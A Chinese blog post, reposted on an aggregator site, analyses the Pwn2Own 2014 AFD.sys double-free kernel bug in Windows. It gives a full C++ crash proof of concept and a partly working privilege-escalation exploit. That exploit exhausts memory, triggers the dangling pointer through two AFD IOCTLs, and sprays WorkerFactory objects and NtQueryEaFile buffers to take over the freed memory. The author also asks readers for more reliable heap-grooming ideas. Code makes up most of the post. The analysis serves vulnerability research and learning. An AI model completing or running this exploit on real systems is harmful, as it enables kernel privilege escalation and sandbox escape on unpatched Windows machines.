码迷,mamicode.com
首页 > 其他好文 > 详细

Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability

时间:2014-08-17 16:59:12      阅读:284      评论:0      收藏:0      [点我收藏+]

标签:des   style   blog   http   color   os   io   for   

  这个内核漏洞在Pwn2Own 2014上用来提权绕过IE沙箱(保护模式),siberas公司后来公布了漏洞的细节及利用方法,通过其公开的文档已经能够准确定位漏洞成因及利用方法。(http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf)

  第一次分析double free类型的漏洞,并且想通过此漏洞进一步了解学习内核漏洞的利用技术。但分析到占位时,出现了WorkerFactory Object及controlled data占位不稳定的问题,在我的调试过程中,WorkerFactory Object和controlled data都有占不到位的情况发生,只有少数情况下两者都能成功占位。调试了许久依旧还没能解决,所以打算先放一放,有思路和时间了再进一步调试。

  目前的改进思路是:

    1.针对WorkerFactory Object占位,进行多次循环创建,在循环中进行创建(NtCreateWorkerFactory)、判断、删除(NtReleaseWorkerFactoryWorker)操作,当判断占位成功时跳出循环。

    2.针对controlled data占位,采用多线程调用NtQueryEaFile进行占位(因为NtQueryEaFile会在函数末尾释放非分页内存,导致单线程循环调用时申请到同一片内存,从而无法成功占位)
    3.怎么想前两种方法都有些繁琐,而且不一定能够实现。我想一定有更高级、稳定的占位方法的吧。。。  (希望有思路的朋友给我一点儿提示  :-)  )

 

  下面是crash的POC代码

bubuko.com,布布扣
  1 #pragma comment(lib, "ws2_32.lib")
  2 
  3 #include <WinSock2.h>
  4 #include <windows.h>
  5 #include <Winternl.h>
  6 #include <Wingdi.h>
  7 #include <iostream>
  8 using namespace std;
  9 
 10 typedef NTSTATUS  (WINAPI *_NtDeviceIoControlFile)(
 11     _In_   HANDLE FileHandle,
 12     _In_   HANDLE Event,
 13     _In_   PIO_APC_ROUTINE ApcRoutine,
 14     _In_   PVOID ApcContext,
 15     _Out_  PIO_STATUS_BLOCK IoStatusBlock,
 16     _In_   ULONG IoControlCode,
 17     _In_   PVOID InputBuffer,
 18     _In_   ULONG InputBufferLength,
 19     _Out_  PVOID OutputBuffer,
 20     _In_   ULONG OutputBufferLength
 21     );
 22 
 23 int main()
 24 {
 25     HMODULE hNtDll = LoadLibrary("ntdll.dll"); 
 26     _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile");
 27     if (pNtDeviceIoControlFile == NULL)
 28     {
 29         FreeLibrary(hNtDll);
 30         cout<<"Get NtDeviceIoControlFile Address failed!"<<endl;
 31         return -1;
 32     }
 33     FreeLibrary(hNtDll);
 34 
 35 
 36     WSAData wasData;
 37     WSAStartup(WINSOCK_VERSION, &wasData);
 38 
 39     SOCKET LocalSock;
 40     LocalSock = socket(AF_INET, SOCK_STREAM, 0);
 41     if(LocalSock == INVALID_SOCKET)
 42     {
 43         cout<<"[-] no luck creating socket!"<<endl;
 44         WSACleanup();
 45         return -1;
 46     }
 47 
 48     cout<<"[+] got sock 0x%x"<<endl;
 49     
 50     struct sockaddr_in    to;
 51     memset(&to, 0, sizeof(to));
 52     to.sin_addr.s_addr = inet_addr("127.0.0.1");
 53     to.sin_family = AF_INET;
 54     to.sin_port = htons(135);
 55 
 56     if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR)
 57     {
 58         cout<<"[-] connect failed!"<<endl;
 59         WSACleanup();
 60         return -1;
 61     }
 62 
 63     cout<<"[+] sock connected."<<endl;
 64 
 65 
 66     /* Prepare buffer */
 67     unsigned int targetsize = 0x100;
 68     unsigned int virtaddress = 0x13371337;
 69     unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff);
 70     
 71     IO_STATUS_BLOCK StatuBlock ;
 72     unsigned char inbuf1[48] = {0};    // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0)
 73     unsigned char inbuf2[24] = {0};    // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4
 74     PULONG point;
 75 
 76     point = (PULONG)inbuf1;
 77     point = point + 6;
 78     *point++ = virtaddress;
 79     *point++ = mdlsize;
 80     point = point + 2;
 81     *point = 1;
 82 
 83     point = (PULONG)inbuf2;
 84     *point++ = 1;
 85     *point = 0xaaaaaaa;    
 86 
 87     /* Exhaust the system‘s physical memory. */
 88     int nBottomRect = 0x2aaaaaa ;
 89     HRGN hrgn;
 90     while (true)
 91     {
 92         hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1);
 93         if (hrgn == 0)
 94         {
 95             break;
 96         }
 97     }
 98     
 99 
100     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);
101     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);
102 
103     
104     return 0;
105 }
View Code

 

  下面是我调试到一半的利用代码

bubuko.com,布布扣
  1 #pragma comment(lib, "ws2_32.lib")
  2 
  3 #include <WinSock2.h>
  4 #include <windows.h>
  5 #include <Winternl.h>
  6 #include <Wingdi.h>
  7 #include <iostream>
  8 
  9 using namespace std;
 10 
 11 typedef NTSTATUS  (WINAPI *_NtDeviceIoControlFile)(
 12     _In_   HANDLE FileHandle,
 13     _In_   HANDLE Event,
 14     _In_   PIO_APC_ROUTINE ApcRoutine,
 15     _In_   PVOID ApcContext,
 16     _Out_  PIO_STATUS_BLOCK IoStatusBlock,
 17     _In_   ULONG IoControlCode,
 18     _In_   PVOID InputBuffer,
 19     _In_   ULONG InputBufferLength,
 20     _Out_  PVOID OutputBuffer,
 21     _In_   ULONG OutputBufferLength
 22     );
 23 
 24 #define WORKER_FACTORY_RELEASE_WORKER 0x0001
 25 #define WORKER_FACTORY_WAIT 0x0002
 26 #define WORKER_FACTORY_SET_INFORMATION 0x0004
 27 #define WORKER_FACTORY_QUERY_INFORMATION 0x0008
 28 #define WORKER_FACTORY_READY_WORKER 0x0010
 29 #define WORKER_FACTORY_SHUTDOWN 0x0020
 30 #define WORKER_FACTORY_ALL_ACCESS (  31     STANDARD_RIGHTS_REQUIRED |  32     WORKER_FACTORY_RELEASE_WORKER |  33     WORKER_FACTORY_WAIT |  34     WORKER_FACTORY_SET_INFORMATION |  35     WORKER_FACTORY_QUERY_INFORMATION |  36     WORKER_FACTORY_READY_WORKER |  37     WORKER_FACTORY_SHUTDOWN  38     )
 39 
 40 typedef enum _WORKERFACTORYINFOCLASS
 41 {
 42     WorkerFactoryTimeout,
 43     WorkerFactoryRetryTimeout,
 44     WorkerFactoryIdleTimeout,
 45     WorkerFactoryBindingCount,
 46     WorkerFactoryThreadMinimum,
 47     WorkerFactoryThreadMaximum,
 48     WorkerFactoryPaused,
 49     WorkerFactoryBasicInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryBasicInformation
 50     WorkerFactoryAdjustThreadGoal,
 51     WorkerFactoryCallbackType,
 52     WorkerFactoryStackInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryStackInformation
 53     MaxWorkerFactoryInfoClass
 54 } WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS;
 55 
 56 typedef struct _WORKER_FACTORY_BASIC_INFORMATION
 57 {
 58     LARGE_INTEGER Timeout;
 59     LARGE_INTEGER RetryTimeout;
 60     LARGE_INTEGER IdleTimeout;
 61     BOOLEAN Paused;
 62     BOOLEAN TimerSet;
 63     BOOLEAN QueuedToExWorker;
 64     BOOLEAN MayCreate;
 65     BOOLEAN CreateInProgress;
 66     BOOLEAN InsertedIntoQueue;
 67     BOOLEAN Shutdown;
 68     ULONG BindingCount;
 69     ULONG ThreadMinimum;
 70     ULONG ThreadMaximum;
 71     ULONG PendingWorkerCount;
 72     ULONG WaitingWorkerCount;
 73     ULONG TotalWorkerCount;
 74     ULONG ReleaseCount;
 75     LONGLONG InfiniteWaitGoal;
 76     PVOID StartRoutine;
 77     PVOID StartParameter;
 78     HANDLE ProcessId;
 79     SIZE_T StackReserve;
 80     SIZE_T StackCommit;
 81     NTSTATUS LastThreadCreationStatus;
 82 } WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION;
 83 
 84 typedef NTSTATUS (WINAPI *_NtCreateWorkerFactory)(
 85     __out PHANDLE WorkerFactoryHandleReturn,
 86     __in ACCESS_MASK DesiredAccess,
 87     __in_opt POBJECT_ATTRIBUTES ObjectAttributes,
 88     __in HANDLE CompletionPortHandle,
 89     __in HANDLE WorkerProcessHandle,
 90     __in PVOID StartRoutine,
 91     __in_opt PVOID StartParameter,
 92     __in_opt ULONG MaxThreadCount,
 93     __in_opt ULONG StackReserve,
 94     __in_opt ULONG StackCommit
 95     );
 96 
 97 typedef NTSTATUS (WINAPI *_NtQueryInformationWorkerFactory)(
 98     __in HANDLE WorkerFactoryHandle,
 99     __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
100     __out_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
101     __in ULONG WorkerFactoryInformationLength,
102     __out_opt PULONG ReturnLength
103     );
104 
105 typedef    NTSTATUS (WINAPI *_NtSetInformationWorkerFactory)(
106     __in HANDLE WorkerFactoryHandle,
107     __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
108     __in_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
109     __in ULONG WorkerFactoryInformationLength
110     );
111 
112 typedef NTSTATUS (WINAPI *_NtReleaseWorkerFactoryWorker)(
113     __in HANDLE WorkerFactoryHandle
114     );
115 
116 typedef NTSTATUS (WINAPI *_NtQueryEaFile)(
117     _In_      HANDLE FileHandle,
118     _Out_     PIO_STATUS_BLOCK IoStatusBlock,
119     _Out_     PVOID Buffer,
120     _In_      ULONG Length,
121     _In_      BOOLEAN ReturnSingleEntry,
122     _In_opt_  PVOID EaList,
123     _In_      ULONG EaListLength,
124     _In_opt_  PULONG EaIndex,
125     _In_      BOOLEAN RestartScan
126     );
127 
128 typedef struct _FILE_FULL_EA_INFORMATION {
129     ULONG  NextEntryOffset;
130     UCHAR  Flags;
131     UCHAR  EaNameLength;
132     USHORT EaValueLength;
133     CHAR   EaName[1];
134 } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
135 
136 
137 
138 
139 void TppWorkerThread()
140 {
141     int i;
142     for (i = 0; i <100; i++)
143     {
144         ;
145     }
146     return ;
147 }
148 
149 int main()
150 {
151     HMODULE hNtDll = LoadLibrary("ntdll.dll"); 
152 
153     _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile");
154     if (pNtDeviceIoControlFile == NULL)
155     {
156         FreeLibrary(hNtDll);
157         cout<<"Get NtDeviceIoControlFile Address failed!"<<endl;
158         return -1;
159     }
160 
161     _NtCreateWorkerFactory  pNtCreateWorkerFactory  = (_NtCreateWorkerFactory)GetProcAddress(hNtDll, "NtCreateWorkerFactory");
162     if (pNtCreateWorkerFactory == NULL)
163     {
164         FreeLibrary(hNtDll);
165         cout<<"Get NtCreateWorkerFactory Address failed!"<<endl;
166         return -1;
167     }
168 
169     _NtQueryEaFile pNtQueryEaFile = (_NtQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
170     if (pNtQueryEaFile == NULL)
171     {
172         FreeLibrary(hNtDll);
173         cout<<"Get NtQueryEaFile Address failed!"<<endl;
174         return -1;
175     }
176 
177     _NtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = (_NtQueryInformationWorkerFactory)GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory");
178     if (pNtQueryInformationWorkerFactory == NULL)
179     {
180         FreeLibrary(hNtDll);
181         cout<<"Get NtQueryInformationWorkerFactory Address failed!"<<endl;
182         return -1;
183     }
184     
185     FreeLibrary(hNtDll);
186 
187 
188     WSAData wasData;
189     WSAStartup(WINSOCK_VERSION, &wasData);
190 
191     SOCKET LocalSock;
192     LocalSock = socket(AF_INET, SOCK_STREAM, 0);
193     if(LocalSock == INVALID_SOCKET)
194     {
195         cout<<"[-] no luck creating socket!"<<endl;
196         WSACleanup();
197         return -1;
198     }
199 
200     cout<<"[+] got sock 0x%x"<<endl;
201     
202     struct sockaddr_in    to;
203     memset(&to, 0, sizeof(to));
204     to.sin_addr.s_addr = inet_addr("127.0.0.1");
205     to.sin_family = AF_INET;
206     to.sin_port = htons(135);
207 
208     if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR)
209     {
210         cout<<"[-] connect failed!"<<endl;
211         WSACleanup();
212         return -1;
213     }
214 
215     cout<<"[+] sock connected."<<endl;
216 
217 
218 
219     IO_STATUS_BLOCK StatuBlock ;
220     NTSTATUS Ret;
221     PULONG point;
222     
223     /* Prepare DeviceIoControl buffer */
224     unsigned int targetsize = 0x100;
225     unsigned int virtaddress = 0x13371337;
226     unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff);
227     unsigned char inbuf1[48] = {0};    // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0)
228     unsigned char inbuf2[24] = {0};    // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4
229     
230     point = (PULONG)inbuf1;
231     point = point + 6;
232     *point++ = virtaddress;
233     *point++ = mdlsize;
234     point = point + 2;
235     *point = 1;
236 
237     point = (PULONG)inbuf2;
238     *point++ = 1;
239     *point = 0xaaaaaaa;    
240 
241 
242     /* Prepare the arguments of NtCreateWorkerFactory */
243     HANDLE WorkerFactoryHandle;
244     HANDLE CompletionPort ;
245     CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0);
246     HANDLE WorkerHandle ;
247     WorkerHandle = GetCurrentProcess();
248 
249 
250     /* Prepare the arguments of NtQueryEaFile */
251     FILE_FULL_EA_INFORMATION FFEI_Buffer ;
252     unsigned char EaListInputBuffer[0x100]={0};
253 
254     point = (PULONG)EaListInputBuffer;        // 0x0xfffffa8000000300 - 0x2e0 = 0x0xfffffa8000000020
255     point = point + 0x30 / 4;
256     *point++ = 0x00000020;
257     *point = 0xfffffa80;
258 
259     /* Prepare the arguments of NtQueryInformationWorkerFactory */
260     WORKER_FACTORY_BASIC_INFORMATION basicInfo;
261 
262     /* Exhaust the system‘s physical memory. */
263     int nBottomRect = 0x2aaaaaa ;
264     HRGN hrgn;
265     while (true)
266     {
267         hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1);
268         if (hrgn == 0)
269         {
270             break;
271         }
272     }
273 
274 
275 
276     //AfdTransmitFile(+0x243 AfdTliGetTpInfo -> ExAllocateFromNPagedLookasideList -> AfdAllocateTpInfo -> ExAllocatePoolWithTagPriority)
277     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);
278 
279 
280     /* Prepare Worker Factory Object for READ/WRITE-PRIMITIVES */
281     //for (int i = 0; i < 50; i++)
282         pNtCreateWorkerFactory(&WorkerFactoryHandle, WORKER_FACTORY_ALL_ACCESS, NULL, CompletionPort, WorkerHandle, TppWorkerThread, NULL, NULL, NULL, NULL);
283 
284     
285     //AfdTransmitPackets
286     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);
287 
288     
289     /* Replace the freed object data with controlled data */    
290     //pNtQueryEaFile((HANDLE)LocalSock, &StatuBlock, &FFEI_Buffer, sizeof(FFEI_Buffer), TRUE, InputBuffer, 0x100, NULL, FALSE);
291     pNtQueryEaFile(NULL, &StatuBlock, NULL, NULL, TRUE, EaListInputBuffer, 0x100, NULL, FALSE);
292 
293     pNtQueryInformationWorkerFactory(WorkerFactoryHandle, WorkerFactoryBasicInformation, &basicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), NULL);
294 
295     closesocket(LocalSock);
296     WSACleanup();
297 
298     return 0;
299 }
View Code

 

Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability,布布扣,bubuko.com

Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability

标签:des   style   blog   http   color   os   io   for   

原文地址:http://www.cnblogs.com/Danny-Wei/p/3917919.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!